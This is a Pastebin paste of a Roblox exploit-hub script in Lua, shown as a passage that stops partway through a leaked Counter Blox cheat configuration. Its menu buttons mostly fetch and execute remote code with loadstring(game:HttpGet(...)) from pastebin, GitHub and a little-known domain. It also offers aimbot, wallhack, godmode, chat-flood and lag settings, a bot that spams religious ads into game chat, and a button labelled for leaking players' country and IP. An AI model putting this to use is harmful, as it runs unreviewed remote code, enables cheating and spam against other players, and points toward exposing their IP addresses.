JacobRoblox

Untitled

Jul 10th, 2020
330
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 243.76 KB | None | 0 0
  1. --Made By beans#3147 Feel Free To Hit Me Up!
  2.  
  3. local ScreenGui = Instance.new("ScreenGui")
  4. local main = Instance.new("Frame")
  5. local ApocRisingGUI = Instance.new("TextButton")
  6. local ApocRisingGUI2 = Instance.new("TextButton")
  7. local ArsenalGUI = Instance.new("TextButton")
  8. local BibleBot = Instance.new("TextButton")
  9. local CounterBloxQualGUI = Instance.new("TextButton")
  10. local FleeTheFacilityGUI = Instance.new("TextButton")
  11. local KATAimbot = Instance.new("TextButton")
  12. local LeakCountryAndIP = Instance.new("TextButton")
  13. local MadGamesScript = Instance.new("TextButton")
  14. local PhantomForcesGUI = Instance.new("TextButton")
  15. local RagdollEngineGUI = Instance.new("TextButton")
  16. local SkyBlockGUI = Instance.new("TextButton")
  17. local TinyTanksGUI = Instance.new("TextButton")
  18. local TowerOfHellGodmode = Instance.new("TextButton")
  19. local UniversalHitboxExpander = Instance.new("TextButton")
  20. local UniversalToggleSpeed = Instance.new("TextButton")
  21. local MainLabel = Instance.new("TextLabel")
  22. local close = Instance.new("TextButton")
  23. local OpenGUI = Instance.new("Frame")
  24. local Open = Instance.new("TextButton")
  25.  
  26. --Properties:
  27.  
  28. ScreenGui.Parent = game.CoreGui
  29.  
  30. main.Name = "main"
  31. main.Parent = ScreenGui
  32. main.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  33. main.Position = UDim2.new(-0.000122183003, 0, 0.501228452, 0)
  34. main.Size = UDim2.new(0, 369, 0, 179)
  35. main.Visible = false
  36. main.Active = true
  37. main.Draggable = true
  38.  
  39. ApocRisingGUI.Name = "ApocRisingGUI"
  40. ApocRisingGUI.Parent = main
  41. ApocRisingGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  42. ApocRisingGUI.Position = UDim2.new(0.0189836491, 0, 0.711000204, 0)
  43. ApocRisingGUI.Size = UDim2.new(0, 117, 0, 41)
  44. ApocRisingGUI.Font = Enum.Font.SourceSans
  45. ApocRisingGUI.Text = "ApocRisingGUI"
  46. ApocRisingGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
  47. ApocRisingGUI.TextSize = 16.000
  48. ApocRisingGUI.MouseButton1Down:connect(function()
  49. loadstring(game:HttpGet("https://pastebin.com/raw/SUNSNbZh", true))()
  50. end)
  51.  
  52. ApocRisingGUI2.Name = "ApocRisingGUI2"
  53. ApocRisingGUI2.Parent = main
  54. ApocRisingGUI2.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  55. ApocRisingGUI2.Position = UDim2.new(0.351696461, 0, 0.716586828, 0)
  56. ApocRisingGUI2.Size = UDim2.new(0, 117, 0, 41)
  57. ApocRisingGUI2.Font = Enum.Font.SourceSans
  58. ApocRisingGUI2.Text = "ApocRisingGUI2"
  59. ApocRisingGUI2.TextColor3 = Color3.fromRGB(0, 0, 0)
  60. ApocRisingGUI2.TextSize = 16.000
  61. ApocRisingGUI2.MouseButton1Down:connect(function()
  62. loadstring(game:HttpGet("https://pastebin.com/raw/PZZHpF90", true))()
  63. end)
  64.  
  65. ArsenalGUI.Name = "ArsenalGUI"
  66. ArsenalGUI.Parent = main
  67. ArsenalGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  68. ArsenalGUI.Position = UDim2.new(0.428623706, 0, 0.162340611, 0)
  69. ArsenalGUI.Size = UDim2.new(0, 55, 0, 25)
  70. ArsenalGUI.Font = Enum.Font.SourceSans
  71. ArsenalGUI.Text = "ArsenalGUI"
  72. ArsenalGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
  73. ArsenalGUI.TextSize = 13.000
  74. ArsenalGUI.MouseButton1Down:connect(function()
  75. loadstring(game:HttpGet("https://raw.githubusercontent.com/NougatBitz/ArsenalHaxx/master/Script"))();
  76. end)
  77.  
  78. BibleBot.Name = "BibleBot"
  79. BibleBot.Parent = main
  80. BibleBot.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  81. BibleBot.Position = UDim2.new(0.598199964, 0, 0.159622803, 0)
  82. BibleBot.Size = UDim2.new(0, 53, 0, 25)
  83. BibleBot.Font = Enum.Font.SourceSans
  84. BibleBot.Text = "BibleBot"
  85. BibleBot.TextColor3 = Color3.fromRGB(0, 0, 0)
  86. BibleBot.TextSize = 13.000
  87. BibleBot.MouseButton1Down:connect(function()
  88. local timerbb = 30;
  89. local ads_toggle = true;
  90. local greet_toggle = true;
  91.  
  92. --skidded stuff lolololol
  93. math.randomseed(tick()) --idk I guess yeah I am dumb lol
  94. local HttpService = game:GetService("HttpService")
  95. local Players = game:GetService("Players")
  96. -- Instances:
  97.  
  98. local BibleBot = Instance.new("ScreenGui")
  99. local main = Instance.new("ImageLabel")
  100. local label = Instance.new("TextLabel")
  101. local timer = Instance.new("TextBox")
  102. local timeLabel = Instance.new("TextLabel")
  103. local TextButton = Instance.new("TextButton")
  104. local ads = Instance.new("TextLabel")
  105. local ads_on = Instance.new("TextButton")
  106. local ads_off = Instance.new("TextButton")
  107. local mid = Instance.new("Frame")
  108. local greet = Instance.new("TextLabel")
  109. local greet_on = Instance.new("TextButton")
  110. local greet_off = Instance.new("TextButton")
  111.  
  112. --Properties:
  113.  
  114. BibleBot.Name = "BibleBot"
  115. BibleBot.Parent = game.CoreGui
  116.  
  117. main.Name = "main"
  118. main.Parent = BibleBot
  119. main.AnchorPoint = Vector2.new(0.5, 0.5)
  120. main.BackgroundColor3 = Color3.fromRGB(15, 15, 15)
  121. main.BackgroundTransparency = 1.000
  122. main.Position = UDim2.new(0.49999997, 0, 0.5, 0)
  123. main.Size = UDim2.new(0, 500, 0, 300)
  124. main.Image = "rbxassetid://3570695787"
  125. main.ImageColor3 = Color3.fromRGB(15, 15, 15)
  126. main.ScaleType = Enum.ScaleType.Slice
  127. main.SliceCenter = Rect.new(100, 100, 100, 100)
  128. main.SliceScale = 0.250
  129. main.Active = true
  130.  
  131. label.Name = "label"
  132. label.Parent = main
  133. label.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  134. label.BackgroundTransparency = 1.000
  135. label.BorderSizePixel = 0
  136. label.Position = UDim2.new(0.300000012, 0, 0, 0)
  137. label.Size = UDim2.new(0, 200, 0, 25)
  138. label.Font = Enum.Font.SourceSansLight
  139. label.Text = "BibleBot"
  140. label.TextColor3 = Color3.fromRGB(255, 255, 255)
  141. label.TextScaled = true
  142. label.TextSize = 14.000
  143. label.TextWrapped = true
  144.  
  145. timer.Name = "timer"
  146. timer.Parent = main
  147. timer.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
  148. timer.BorderSizePixel = 0
  149. timer.Position = UDim2.new(0.0799999982, 0, 0.13333334, 0)
  150. timer.Size = UDim2.new(0, 60, 0, 30)
  151. timer.Font = Enum.Font.SourceSansLight
  152. timer.Text = "30"
  153. timer.TextColor3 = Color3.fromRGB(255, 255, 255)
  154. timer.TextScaled = true
  155. timer.TextSize = 14.000
  156. timer.TextWrapped = true
  157.  
  158. timeLabel.Name = "timeLabel"
  159. timeLabel.Parent = timer
  160. timeLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  161. timeLabel.BackgroundTransparency = 1.000
  162. timeLabel.BorderSizePixel = 0
  163. timeLabel.Position = UDim2.new(1.41666663, 0, 0, 0)
  164. timeLabel.Size = UDim2.new(0, 375, 0, 30)
  165. timeLabel.Font = Enum.Font.SourceSansLight
  166. timeLabel.Text = "Delay between each ad."
  167. timeLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
  168. timeLabel.TextScaled = true
  169. timeLabel.TextSize = 14.000
  170. timeLabel.TextWrapped = true
  171. timeLabel.TextXAlignment = Enum.TextXAlignment.Left
  172.  
  173. TextButton.Parent = timer
  174. TextButton.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
  175. TextButton.BorderSizePixel = 0
  176. TextButton.Position = UDim2.new(5.5999999, 0, 0, 0)
  177. TextButton.Size = UDim2.new(0, 100, 0, 30)
  178. TextButton.Font = Enum.Font.SourceSansLight
  179. TextButton.Text = "Apply"
  180. TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  181. TextButton.TextScaled = true
  182. TextButton.TextSize = 14.000
  183. TextButton.TextWrapped = true
  184. TextButton.MouseButton1Click:Connect(function()
  185. timerbb = timer
  186. end)
  187.  
  188.  
  189. ads.Name = "ads"
  190. ads.Parent = main
  191. ads.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  192. ads.BackgroundTransparency = 1.000
  193. ads.BorderSizePixel = 0
  194. ads.Position = UDim2.new(0.150000021, 0, 0.333333343, 0)
  195. ads.Size = UDim2.new(0, 100, 0, 30)
  196. ads.Font = Enum.Font.SourceSansLight
  197. ads.Text = "Ads (default on)"
  198. ads.TextColor3 = Color3.fromRGB(255, 255, 255)
  199. ads.TextScaled = true
  200. ads.TextSize = 14.000
  201. ads.TextWrapped = true
  202.  
  203. ads_on.Name = "ads_on"
  204. ads_on.Parent = ads
  205. ads_on.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
  206. ads_on.BorderSizePixel = 0
  207. ads_on.Position = UDim2.new(-0.5, 0, 1.16666663, 0)
  208. ads_on.Size = UDim2.new(0, 75, 0, 30)
  209. ads_on.Font = Enum.Font.SourceSansLight
  210. ads_on.Text = "On"
  211. ads_on.TextColor3 = Color3.fromRGB(255, 255, 255)
  212. ads_on.TextScaled = true
  213. ads_on.TextSize = 14.000
  214. ads_on.TextWrapped = true
  215. ads_on.MouseButton1Click:Connect(function()
  216. ads_toggle = true
  217. end)
  218.  
  219. ads_off.Name = "ads_off"
  220. ads_off.Parent = ads
  221. ads_off.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
  222. ads_off.BorderSizePixel = 0
  223. ads_off.Position = UDim2.new(0.75000006, 0, 1.16666663, 0)
  224. ads_off.Size = UDim2.new(0, 75, 0, 30)
  225. ads_off.Font = Enum.Font.SourceSansLight
  226. ads_off.Text = "Off"
  227. ads_off.TextColor3 = Color3.fromRGB(255, 255, 255)
  228. ads_off.TextScaled = true
  229. ads_off.TextSize = 14.000
  230. ads_off.TextWrapped = true
  231. ads_off.MouseButton1Click:Connect(function()
  232. ads_toggle = false
  233. end)
  234.  
  235. mid.Name = "mid"
  236. mid.Parent = main
  237. mid.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  238. mid.Position = UDim2.new(0.49000001, 0, 0.233333334, 0)
  239. mid.Size = UDim2.new(0, 10, 0, 230)
  240.  
  241. greet.Name = "greet"
  242. greet.Parent = main
  243. greet.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  244. greet.BackgroundTransparency = 1.000
  245. greet.BorderSizePixel = 0
  246. greet.Position = UDim2.new(0.649999976, 0, 0.333333343, 0)
  247. greet.Size = UDim2.new(0, 100, 0, 30)
  248. greet.Font = Enum.Font.SourceSansLight
  249. greet.Text = "Greeting (default on)"
  250. greet.TextColor3 = Color3.fromRGB(255, 255, 255)
  251. greet.TextScaled = true
  252. greet.TextSize = 14.000
  253. greet.TextWrapped = true
  254.  
  255. greet_on.Name = "greet_on"
  256. greet_on.Parent = greet
  257. greet_on.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
  258. greet_on.BorderSizePixel = 0
  259. greet_on.Position = UDim2.new(-0.5, 0, 1.16666663, 0)
  260. greet_on.Size = UDim2.new(0, 75, 0, 30)
  261. greet_on.Font = Enum.Font.SourceSansLight
  262. greet_on.Text = "On"
  263. greet_on.TextColor3 = Color3.fromRGB(255, 255, 255)
  264. greet_on.TextScaled = true
  265. greet_on.TextSize = 14.000
  266. greet_on.TextWrapped = true
  267. greet_on.MouseButton1Click:Connect(function()
  268. greet_toggle = true
  269. end)
  270.  
  271. greet_off.Name = "greet_off"
  272. greet_off.Parent = greet
  273. greet_off.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
  274. greet_off.BorderSizePixel = 0
  275. greet_off.Position = UDim2.new(0.75000006, 0, 1.16666663, 0)
  276. greet_off.Size = UDim2.new(0, 75, 0, 30)
  277. greet_off.Font = Enum.Font.SourceSansLight
  278. greet_off.Text = "Off"
  279. greet_off.TextColor3 = Color3.fromRGB(255, 255, 255)
  280. greet_off.TextScaled = true
  281. greet_off.TextSize = 14.000
  282. greet_off.TextWrapped = true
  283. greet_off.MouseButton1Click:Connect(function()
  284. greet_toggle = false
  285. end)
  286.  
  287.  
  288. --dragging Api made by me (P3rZ3r0 lol)
  289. local UserInputService = game:GetService("UserInputService")
  290. local TweenService = game:GetService("TweenService")
  291. local gui = main
  292. local speed = 0.1
  293.  
  294. local dragging
  295. local dragInput
  296. local dragStart
  297. local startPos
  298.  
  299. local function update(input)
  300. local delta = input.Position - dragStart
  301. local goal = {}
  302. goal.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
  303. local tweenInfo = TweenInfo.new(speed)
  304. local tween = TweenService:Create(gui, tweenInfo, goal)
  305. tween:Play()
  306. end
  307.  
  308. gui.InputBegan:Connect(function(input)
  309. if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
  310. dragging = true
  311. dragStart = input.Position
  312. startPos = gui.Position
  313.  
  314. input.Changed:Connect(function()
  315. if input.UserInputState == Enum.UserInputState.End then
  316. dragging = false
  317. end
  318. end)
  319. end
  320. end)
  321.  
  322. gui.InputChanged:Connect(function(input)
  323. if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
  324. dragInput = input
  325. end
  326. end)
  327.  
  328. UserInputService.InputChanged:Connect(function(input)
  329. if input == dragInput and dragging then
  330. update(input)
  331. end
  332. end)
  333. --End
  334.  
  335. --skidded from bbot itself okk
  336. local is_agaisnt_furry = true
  337. is_furry = function(Player)
  338. if not is_agaisnt_furry then return false end
  339. local furry_hat = {"rbxassetid://3908012443";"rbxassetid//188699722"}
  340. for _,v in pairs(Player.Character:GetChildren()) do
  341. if v.ClassName == "Accessory" then
  342. pcall(function()
  343. if v.Handle.SpecialMesh.MeshId == furry_hat[1] or furry_hat[2] then
  344. return true
  345. else
  346. return false
  347. end
  348. end)
  349. end
  350. end
  351. end
  352.  
  353. --again skidded lmao
  354. endpoint = "http://labs.bible.org/api/?passage=random&type=json"
  355. getVerse = function()
  356. local response = HttpService:JSONDecode(game:HttpGet(endpoint))
  357. return
  358. response[1].bookname .. ": " .. response[1].chapter .. ":" .. response[1].verse .. " " .. response[1].text
  359. end
  360.  
  361. --skidded again not sure why there is tick but I am too much not smart
  362. local t = tick()
  363. chat = function(content)
  364. if t - tick() < 0.70 then
  365. wait(1)
  366. end
  367. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(content, "All")
  368. t = tick()
  369. end
  370.  
  371. commands = {};
  372.  
  373. commands.verse = function()
  374. local bible = getVerse()
  375. if string.len(bible) > 200 then
  376. repeat
  377. game:GetService("RunService").Heartbeat:Wait()
  378. bible = getVerse()
  379. until string.len(bible) < 200
  380. end
  381. chat(bible)
  382. end
  383.  
  384. commands.askgod = function()
  385. local ans = {
  386. "Yes"; "No"; "It is best for you not to know"; "Your question is beyond your mortal comprehension"; "Blasphemy! ask no more."; "I do not care to entertain your trivial question";
  387. "You should be ashamed of what you are asking"; "Perhaps"; "I have nothing to say about it"; "I refuse to answer that"; "This is not a question befit for me, ask another"; "Reask that question, it makes no sense";
  388. "A pity, made in my image yet couldn't ask a more reasonable question for me";"Such foul words, i am ashamed of creating you";"Think twice of what you ask of me";
  389. "What you are asking me is blasphemy! confess your sin to me or face eternal torment";"You exist to suffer, no further comment.";"I didn't set fire to Gommorah for you to ask such a foolish question!";"Your question is why Judgement Day will come for us sooner then before.";"This question is beneath me, ask another!";
  390. }
  391. chat(ans[math.random(#ans)])
  392. end
  393.  
  394. commands.help = function()
  395. chat("!ask god [question] - Ask God a question | !verse - Study the holy bible | !help - Show this help menu | !confess [sin], confess your actions to God | !pray [prayer] pray for something")
  396. wait(0.5)
  397. end
  398.  
  399. commands.confesion = function(Player,message)
  400.  
  401. local ans = {"Your sin has been forgiven, rejoice!";"I am overjoyed you have acknowledged your sin, God shall forgive you.";"You are forgiven, be glad Jesus died for your sake.";"I can see your sin weighs heavily on you, God has forgiven you!";"This is a sin that can not be easily forgiven, i demand you say Glory To God 20 times!";"Your sin mocks the commandments put forth by God, 20 Holy Mary's!";
  402. "Your blasphemy ends here, pray Our Father and Holy Mary 30 times each right now!";"Your actions disgust our Lord";"Satan, smite " .. Player.Name ..
  403. " down for " .. Player.Name .. " has dared to defy God himself."};
  404. chat(ans[math.random(#ans)])
  405. end
  406.  
  407. commands.pray = function(Player,message)
  408.  
  409. local possibleAns = {"Amen";"Your greed disgusts me, confess your sin so that i may judge you by typing !confess [describe your foul actions here]";"Your prayer will be answered, Hallelujuh!";"Your prayer has been rejected for blasphemy! type !confess [your sin here] for judgement.";"I understand your feelings, it shall be done soon";"What you ask will be done, be patient my son";"Your prayer will be granted, in time."}
  410. chat(possibleAns[math.random(#possibleAns)])
  411. end
  412.  
  413.  
  414. --too lazy to add blacklist add it maybe urself kkk
  415. onPlayerChat = function(chat_type,recipient,message)
  416. message = string.lower(message)
  417. chat_type = nil
  418. if message:match(".*!ask.-god.*") then
  419. commands:askgod()
  420. elseif message:match(".*!verse.*") then
  421. commands:verse()
  422. elseif message:match(".*!help.*") then
  423. commands:help()
  424. elseif message:match(".*!pray.*") then
  425. commands.pray(recipient,message)
  426. elseif message:match(".*!confess.*") then
  427. commands.confesion(recipient,message)
  428. end
  429. end
  430.  
  431. Players.PlayerChatted:Connect(onPlayerChat)
  432.  
  433.  
  434. --don't mind if I do
  435. Players.PlayerAdded:Connect(function(NewPlayer)
  436. local welcomeSentence = {
  437. "Greetings " .. NewPlayer.Name .. ", study the bible to further your blossoming faith by chatting !verse";
  438. "Welcome " .. NewPlayer.Name .. "! to Bibleblox! study the bible with upmost vigor by chatting !verse";
  439. "Welcome to the holiest place on roblox " .. NewPlayer.Name .. ". Study the bible as soon as possible by chatting !verse";
  440. "Feel free to ask any question to God by chatting !ask god [question]";
  441. "Welcome to the most christian place on roblox " .. NewPlayer.Name;
  442. function()
  443. if os.date("*t").hour > 12 and os.date("*t").hour < 18 then
  444. return "Welcome " .. NewPlayer.Name .. " to the afternoon bible study session. Open your bible by chatting !verse"
  445. elseif os.date("*t").hour > 18 or os.date("*t").hour < 5 then
  446. return "Welcome " .. NewPlayer.Name .. " to the night bible study session. Open your bible by chatting !verse"
  447. elseif os.date("*t").hour > 5 and os.date("*t").hour < 12 then
  448. return "Welcome " .. NewPlayer.Name .. " to the morning bible study session. Open your bible by chatting !verse"
  449. end
  450. end;
  451. function()
  452. if os.date("*t").hour > 12 and os.date("*t").hour < 18 then
  453. return "Gosh! You are late to to the afternoon bible study session. Open your bible by chatting !verse quickly!!"
  454. elseif os.date("*t").hour > 18 or os.date("*t").hour < 5 then
  455. return "I can't believe you are *THIS* late to the night bible study! Open the bible asap(chat !verse)"
  456. elseif os.date("*t").hour > 5 and os.date("*t").hour < 12 then
  457. return "Oh lord! You are late to the morning bible study session! Chat !verse to open the bible"
  458. end
  459. end;
  460. function()
  461. if os.date("*t").hour > 12 and os.date("*t").hour < 18 then
  462. return "God will not forgive you for making him wait " .. os.date("*t") - 18 .. " to listen your question(Chat !ask god to ask question) DONT MAKE GOD WASTE HIS TIME"
  463. elseif os.date("*t").hour > 18 or os.date("*t").hour < 5 then
  464. return "God will not forgive you for making him wait " .. os.date("*t") - 5 .. " to listen your question(Chat !ask god to ask question) DONT MAKE GOD WASTE HIS TIME"
  465. elseif os.date("*t").hour > 5 and os.date("*t").hour < 12 then
  466. return "God will not forgive you for making him wait " .. os.date("*t") - 5 .. " to listen your question(Chat !ask god to ask question) DONT MAKE GOD WASTE HIS TIME"
  467. end
  468. end;
  469. }
  470. for cycle,sentence in next,welcomeSentence do
  471. if greet_toggle == true then
  472. if cycle == math.random(#welcomeSentence) then
  473. if type(sentence) == "function" then
  474. chat(sentence())
  475. else
  476. chat(sentence)
  477. end
  478. break
  479. end
  480. end
  481. end
  482. end)
  483.  
  484. ad = {
  485. "Greetings all, I am bible bot, I guide the masses towards realizing the true faith. Chat !help to know all the available commands for me";
  486. "I have come forth to bring the good news to all! Chat !verse to hear of it";
  487. "Do not commit sin or suffer for eternity in hell! Chat !help to know the availaible commands for bible bot";
  488. "Always remember to pray to God. Chat !pray [someone or something you want] to learn what He has in store for your prayer";
  489. "Remember to study the bible to further your love for God. type !verse to study a verse of the bible, Chat !help to know other commands";
  490. "Submit to the divine authority of God and learn more of the one true faith by typing !help to know all the availaible commands of bible bot"
  491. }
  492.  
  493. coroutine.resume(coroutine.create(function()
  494. while wait() do
  495.  
  496. if ads_toggle == true then
  497. chat(ad[math.random(#ad)])
  498. wait(timerbb)
  499. end
  500. end
  501. end))
  502.  
  503.  
  504. end)
  505.  
  506. CounterBloxQualGUI.Name = "CounterBloxQualGUI"
  507. CounterBloxQualGUI.Parent = main
  508. CounterBloxQualGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
  509. CounterBloxQualGUI.Position = UDim2.new(0.455297947, 0, 0.515730381, 0)
  510. CounterBloxQualGUI.Size = UDim2.new(0, 96, 0, 25)
  511. CounterBloxQualGUI.Font = Enum.Font.SourceSans
  512. CounterBloxQualGUI.Text = "CounterBloxQualGUI"
  513. CounterBloxQualGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
  514. CounterBloxQualGUI.TextSize = 11.000
  515. CounterBloxQualGUI.MouseButton1Down:connect(function()
  516. --[[https://robloxscripts.com/counter-blox-qual-leaked-private-gui/, Counter Blox Qual Leaked GUI leaked by sir#0001.
  517. i chose the raycasting one but there are two other ones from the link above.
  518. ]]
  519. UI = loadstring(game:HttpGet("http://bloxxite.xyz/rgwergdsfgsdtrjhsdrth", true))()
  520.  
  521. local Settings = {
  522. Startsound = "Default",
  523. Hitsound = "Skeet",
  524. HitsoundEnabled = false,
  525. Hitmarker = false,
  526. HitmarkerTarget = false,
  527. DefaultBot = "Legit",
  528. AA = {
  529. Enabled = false,
  530. Pitch = 1,
  531. JSpeed = 0.1,
  532. JRange = 90,
  533. Direction = "None",
  534. Left = "Z",
  535. Back = "X",
  536. Right = "C",
  537. JDirection = "H",
  538. JRotation = "J",
  539. Invisible = false
  540. },
  541. Legit = {
  542. AimbotMode = "Enabled",
  543. DetectionMethod = "Closest to Crosshair",
  544. AimbotStyle = "Completely Silent",
  545. Shootbot = false,
  546. MinVisibleDamage = 0,
  547. MinAWDamage = 0,
  548. FOVlim = false,
  549. HookHitpart = false,
  550. OverrideDamage = false,
  551. Damage = 1,
  552. FOVpx = 50,
  553. Autowall = false,
  554. Aimkey = "LeftShift",
  555. Headshotchance = 20,
  556. Backtrack = false,
  557. BacktrackDelay = 50,
  558. BacktrackColor = Color3.new(1, 1, 1),
  559. BacktrackTransparency = 0.8,
  560. BacktrackRainbow = false,
  561. FOVCircle = false,
  562. FOVFilled = false,
  563. FOVColor = Color3.new(1, 1, 0),
  564. FOVTransparency = 0,
  565. FOVThickness = 1
  566. },
  567. Rage = {
  568. AimbotMode = "Enabled",
  569. DetectionMethod = "Closest to Crosshair",
  570. AimbotStyle = "Completely Silent",
  571. Shootbot = false,
  572. MinVisibleDamage = 0,
  573. MinAWDamage = 0,
  574. HookHitpart = false,
  575. OverrideDamage = false,
  576. Damage = 1,
  577. FOVlim = false,
  578. FOVpx = 50,
  579. Autowall = false,
  580. Aimkey = "LeftShift",
  581. Backtrack = false,
  582. BacktrackDelay = 50,
  583. BacktrackColor = Color3.new(1, 1, 1),
  584. BacktrackTransparency = 0.8,
  585. BacktrackRainbow = false,
  586. FOVCircle = false,
  587. FOVFilled = false,
  588. FOVColor = Color3.new(1, 0, 0),
  589. FOVTransparency = 0,
  590. FOVThickness = 1
  591. },
  592. AsusWalls = {
  593. Enabled = false,
  594. Transparency = 0.7,
  595. PartModifier = 5,
  596. IncludeUnwallbangable = true,
  597. },
  598. Fakeduck = false,
  599. VX = 2.5,
  600. VY = 2.5,
  601. VZ = 2.5,
  602. TriggerbotMode = "Disabled",
  603. TriggerbotDelay = 0,
  604. Triggerkey = "CapsLock",
  605. FOV = 70,
  606. BulletTracers = false,
  607. TracerThickness1 = 2,
  608. TracerThickness2 = 5,
  609. BulletTracerColor = Color3.new(1,1,1),
  610. BulletTracerTransparency = 0.7,
  611. ThirdpersonDistance = 7,
  612. NoFall = false,
  613. SkinChanger = false,
  614. AntiMolotov = false,
  615. Autohop = false,
  616. LegitStrafe = false,
  617. AutohopSpeed = 25,
  618. AutohopHitrate = 100,
  619. InstaRev = false,
  620. RevAnimate = false,
  621. ChatAlive = false,
  622. SpectatorUI = false,
  623. BetterScope = false,
  624. Instaplant = false,
  625. Antidefuse = false,
  626. Noclip = false,
  627. NoSleeves = false,
  628. NoGloves = false,
  629. NoFlash = false,
  630. Buymenu = false,
  631. LagSeverity = 6,
  632. FloodMessages = 100,
  633. Chat1 = "Qual > All",
  634. Killsay = false,
  635. Chat2 = "{} just got tapped lmao",
  636. Unhash = false,
  637. AllChat = false,
  638. ThirdpersonKey = "X",
  639. Spectatorkey = "RightAlt",
  640. Noclipkey = "Period",
  641. Antiaim = "Disabled",
  642. AntiaimDetection = "None",
  643. ArmsEnabled = false,
  644. ArmsMaterial = "ForceField",
  645. ArmsColor = Color3.new(1, 0.5, 0),
  646. ArmsTransparency = 0.7,
  647. GunEnabled = false,
  648. GunMaterial = "ForceField",
  649. GunColor = Color3.new(1, 0.5, 0),
  650. GunTransparency = 0.7,
  651. LockedOnTransparency = 0,
  652. Skybox = "None",
  653. ClockTime = 14,
  654. Fullbright = false,
  655. WireframeSmoke = false,
  656. RemoveSmoke = false,
  657. RemoveFlash = false,
  658. InfiniteCash = false,
  659. RemoveGrenadeLogic = false,
  660. RLimbs = false,
  661. InfNades = false,
  662. Blockhead = false,
  663. Blockhats = false,
  664. Naked = false,
  665. HideName = false,
  666. Name = "Qual User",
  667. Watermark = false,
  668. InnerChams = {
  669. Allies = {
  670. Render = false,
  671. Color = Color3.new(1,1,1),
  672. Transparency = 0,
  673. UseTeamColor = false,
  674. VisibleOnly = false
  675. },
  676. Enemies = {
  677. Render = false,
  678. Color = Color3.new(1,1,1),
  679. Transparency = 0,
  680. UseTeamColor = false,
  681. VisibleOnly = false
  682. }
  683. },
  684. OuterChams = {
  685. Allies = {
  686. Render = false,
  687. Color = Color3.new(0,1,0),
  688. Transparency = 0,
  689. UseTeamColor = false,
  690. VisibleOnly = false,
  691. Size = 0.35
  692. },
  693. Enemies = {
  694. Render = false,
  695. Color = Color3.new(1,0,0),
  696. Transparency = 0,
  697. UseTeamColor = false,
  698. VisibleOnly = false,
  699. Size = 0.35
  700. }
  701. },
  702. Nametags = {
  703. Allies = {
  704. Enabled = false,
  705. Color = Color3.new(1,1,1),
  706. Transparency = 0,
  707. },
  708. Enemies = {
  709. Enabled = false,
  710. Color = Color3.new(1,1,1),
  711. Transparency = 0,
  712. }
  713. },
  714. Healthbar = {
  715. Allies = {
  716. Enabled = false,
  717. Color = Color3.new(1,1,1)
  718. },
  719. Enemies = {
  720. Enabled = false,
  721. Color = Color3.new(1,1,1)
  722. }
  723. },
  724. Boxes = {
  725. Allies = {
  726. Enabled = false,
  727. Color = Color3.new(1,1,1),
  728. Transparency = 0,
  729. },
  730. Enemies = {
  731. Enabled = false,
  732. Color = Color3.new(1,1,1),
  733. Transparency = 0,
  734. }
  735. },
  736. WeaponText = {
  737. Allies = {
  738. Enabled = false,
  739. Color = Color3.new(1,1,1),
  740. Transparency = 0,
  741. },
  742. Enemies = {
  743. Enabled = false,
  744. Color = Color3.new(1,1,1),
  745. Transparency = 0,
  746. }
  747. },
  748. Tracers = {
  749. Allies = {
  750. Enabled = false,
  751. Color = Color3.new(1,1,1),
  752. Transparency = 0,
  753. },
  754. Enemies = {
  755. Enabled = false,
  756. Color = Color3.new(1,1,1),
  757. Transparency = 0,
  758. }
  759. },
  760. BombText = {
  761. Allies = {
  762. Enabled = false,
  763. Color = Color3.new(0,0.5,1),
  764. Transparency = 0,
  765. },
  766. Enemies = {
  767. Enabled = false,
  768. Color = Color3.new(1,0.5,0),
  769. Transparency = 0,
  770. }
  771. }
  772. }
  773.  
  774. local readfile = readfile or function() end
  775.  
  776. local Order = {
  777. Blue = 11,
  778. Purple = 10,
  779. Pink = 9,
  780. Red = 8,
  781. Knife = 7,
  782. Bundle = 6,
  783. Retired = 5,
  784. Contraband = 4,
  785. Finite = 3,
  786. Tournament = 2,
  787. UNKNOWN = 1
  788. }
  789.  
  790. local lastPoint = nil
  791. local lastPart = nil
  792.  
  793. local FESkins = {}
  794.  
  795. local Storage = {
  796. CameraCF = nil,
  797. Targets = {}
  798. }
  799.  
  800. local SpectateEntries = {}
  801.  
  802. local bodyParts = {
  803. ["FakeHead"] = "Head",
  804. ["HeadHB"] = "Head",
  805. ["UpperTorso"] = "UpperTorso",
  806. ["LowerTorso"] = "LowerTorso",
  807. ["LeftUpperArm"] = "LeftUpperArm",
  808. ["RightUpperArm"] = "RightUpperArm",
  809. ["RightLowerArm"] = "RightLowerArm",
  810. ["LeftLowerArm"] = "LeftLowerArm",
  811. ["LeftHand"] = "LeftHand",
  812. ["RightHand"] = "RightHand",
  813. ["LeftUpperLeg"] = "LeftUpperLeg",
  814. ["RightUpperLeg"] = "RightUpperLeg",
  815. ["LeftLowerLeg"] = "LeftLowerLeg",
  816. ["RightLowerLeg"] = "RightLowerLeg",
  817. ["LeftFoot"] = "LeftFoot",
